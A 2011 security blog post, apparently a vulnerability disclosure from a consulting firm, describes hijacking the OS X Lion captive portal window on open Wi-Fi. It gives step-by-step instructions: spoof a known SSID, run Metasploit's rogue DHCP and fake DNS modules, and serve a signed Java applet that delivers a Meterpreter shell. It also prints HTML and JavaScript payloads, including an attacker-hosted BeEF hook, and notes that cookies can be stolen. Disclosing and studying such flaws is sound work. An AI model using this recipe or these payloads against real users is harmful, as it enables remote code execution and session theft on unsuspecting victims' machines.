OS X Lion Captive Portal Hijacking Attack

Friday, October 07, 2011

Tom Eston



Recently, Apple has released the newest version of its flagship operating system OS X, 10.7 "Lion".

According to wired.com's live blog of Apple's press conference, OS X 10.7 has already been downloaded more than 6 million times. Along with numerous new features, the newest version now features auto-recognition of "captive portals".

A captive portal is a page that users are redirected to when they join a network. They usually host information about Terms of Service and occasionally a login. Many users typically run across these when joining to wireless networks at hotels, coffee shops, or airports.

The new feature in OS X 10.7, that has been present in iOS for some time now, is designed to notify users of this portal so they can accept the terms of service or log in as necessary to ensure that the device has an active network connection. This makes it possible for applications that run in the background, such as email client applications, to continue to function without the user have to check for connectivity when joining a new network.

This new feature also poses a large security risk. When an OS X laptop joins onto a network, which contains a captive portal, a window is automatically opened to prompt the user to interact with it. This presents a large security risk if an attacker can control this functionality.

OS X detects the captive portal by requesting the URL: http://www.apple.com/library/test/success.html.

However, when this request fails (such as when a captive portal is present) the page that is returned will be opened in a special browser window. An important characteristic to note about this feature is that it appears to only affect open wireless networks, not networks encrypted with WEP or WPA.

The Attack

Attackers can control the captive portal page by using already known techniques, such as those employed by Karmetasploit. Attackers can configure DHCP servers and host rogue DNS servers, poison DNS servers, or even Man in the Middle network segments to intercept the DNS request to www.apple.com.

Once the attacker can redirect traffic from the client to the attacker's system instead of Apple, they can perform a variety of attacks via JavaScript. For example, Metasploit's auxiliary/server/capture/http module can be used to steal the user's cookies, a page containing a BeEF hook could be used, or most interestingly, a page redirecting to a Java-based Meterpreter payload could be used.

Although these attacks are nothing new to the browser exploit world, one key factor makes this issue more concerning: this attack vector now requires no user interaction to be initiated.

The Scenario

Laptop users, such as OS X 10.7 users, often visit coffee shops. It is reasonable to assume that CoffeeShopX could be a valid SSID remembered by their shiny Mac Book Pro running OS X 10.7.

An attacker with this knowledge could set up an open rogue access point broadcasting an SSID of CoffeeShopX, while controlling the DHCP and DNS servers. Once the victim OS X 10.7 system joins this wireless network, the request to www.apple.com would be redirected to the attacker.

The attacker can then redirect the user to a Java Meterpreter shell using the following steps:

1) Connect to a wireless network

  • a. Attacker may set up their own network with an AP, spoofing a popular SSID known by their victim
  • b. Connect to an existing wireless network and deplete the DHCP pool of all addresses
  • c. Use a soft AP technique to respond to all wireless probe requests to receive clients

2) Use Metasploit's auxiliary/server/dhcp module to run a rogue DHCP server and configure the DNS server to the attacker's IP 

3) Use Metasploit's auxiliary/server/fakedns module to run a DNS server to redirect requests to www.apple.com to the attacker's IP address 

4) Use Metasploit's exploit/multi/browser/java_signed_applet to configure a malicious webserver:

  • a. Configure the Target to be 0 (Generic Java Payload)
  • b. Leave SRVPORT 8080
  • c. Set URIPATH to /portal
  • d. Configure SigningCert and SigningKey  


5) Host a simple index.html page on port 80 that will redirect to http://www.apple.com:8080/portal via a simple JavaScript tag.

Contents of the index.html page:

< ! D O C T Y P E   H T M L   P U B L I C   " - / / W 3 C / / D T D   H T M L   3 . 2 / / E N " >
< H T M L >

     < T I T L E > C a p t i v e   P o r t a l < / T I T L E >
< / H E A D >
< B O D Y >
     C a p t i v e   P o r t a l <  b r / >
     < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > w i n d o w . l o c a t i o n   =   " h t t p : / / w w w . a p p l e . c o m : 8 0 8 0 / p o r t a l " < / s c r i p t > < ! - -   A r b i t r a r y   R e d i r e c t   - - >
< / B O D Y>

< / H T M L >

6) Wait for users to connect and profit.


This attack assumes that the user has already installed Java within their browser; however, if the user has not they will be prompted to install it. The attempt to install Java will fail without further configuration (outside of the scope of this blog) due to the attacker's position.

When the users view the Java payload within their captive portal window, they will be presented with a dialog asking them to allow an applet from "www.apple.com" to access their computer. Most users will accept this and select allow, thereby causing the malicious Java payload to be executed without the user ever having to open a browser.


Alternative attack scenarios could be used in which the attacker relies on malicious JavaScript within a BeEF hook to control the captive portal window. This is a less reliable vector because users are likely to close this window when they do not see anything of interest.

This similar functionality within the iOS used on iPhones and iPad's can also be vulnerable to this attack; however, the attacker is limited to using JavaScript based payloads instead of Java.

It is important to note that it is feasible that an attacker might perform other actions before redirecting the victim to their Java shell, such as stealing cookies. Despite not looking like Safari, the captive portal window appears to be capable of relinquishing cookies from Safari to an attacker.

Example of JavaScripts that work:

  • < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > w i n d o w . l o c a t i o n   =   " h t t p : / / w w w . a p p l e . c o m : 8 0 8 0 / i _ c a n _ h a z _ a s 4 0 0 . j p g " < / s c r i p t > < ! - -   A r b i t r a r y   R e d i r e c t   - - >
  • < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > w i n d o w . o p e n ( " h t t p : / / w w w . a p p l e . c o m : 8 0 8 0 / i _ c a n _ h a z _ a s 4 0 0 . j p g " ) < / s c r i p t > < ! - -   A r b i t r a r y   R e d i r e c t   - ->
  • < s c r i p t   t y p e = " t e x t / j a v a s c r i p t "   s r c = " h t t p : / / w w w . a p p l e . c o m : 3 0 0 0 / h o o k . j s " > < / s c r i p t > < ! - -   S t a n d a r d   B e E F   H o o k   - ->
  • < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > d o c u m e n t . w r i t e ( " J a v a   E n a b l e d :   < b > "   +   n a v i g a t o r . j a v a E n a b l e d ( )   +   " < / b > < b r   / > "   ) ; < / s c r i p t > < ! - -   J a v a   C h e c k   - ->
Special thanks to the following members of the SecureState Profiling Team:

  • Spencer McIntyre (Feature abuse R&D)
  • Tom Eston (Hardware/Software)
  • Jake Garlie (Helping with initial Proof-of-Concept)
  • Chris Murrey (Helping with initial Proof-of-Concept)
  • Matt Neely (Pointing out the "feature")

Find out more about the tools related to this attack here:

BeEF: http://beefproject.com/
Metasploit: http://www.metasploit.com/

Cross-posted from the SecureState Blog.

Possibly Related Articles:
Operating Systems
Information Security
Apple iPhone Javascript Vulnerabilities Metasploit iPad OS X Lion Captive Portal Hijacking Attack
Post Rating I Like this!
Not Dan Hi. I was annoyed by this so I wrote a stupid article on how to cripple this feature.

The views expressed in this post are the opinions of the Infosec Island member that posted this content. Infosec Island is not responsible for the content or messaging of this post.

Unauthorized reproduction of this article (in part or in whole) is prohibited without the express written permission of Infosec Island and the Infosec Island member that posted this content--this includes using our RSS feed for any purpose other than personal use.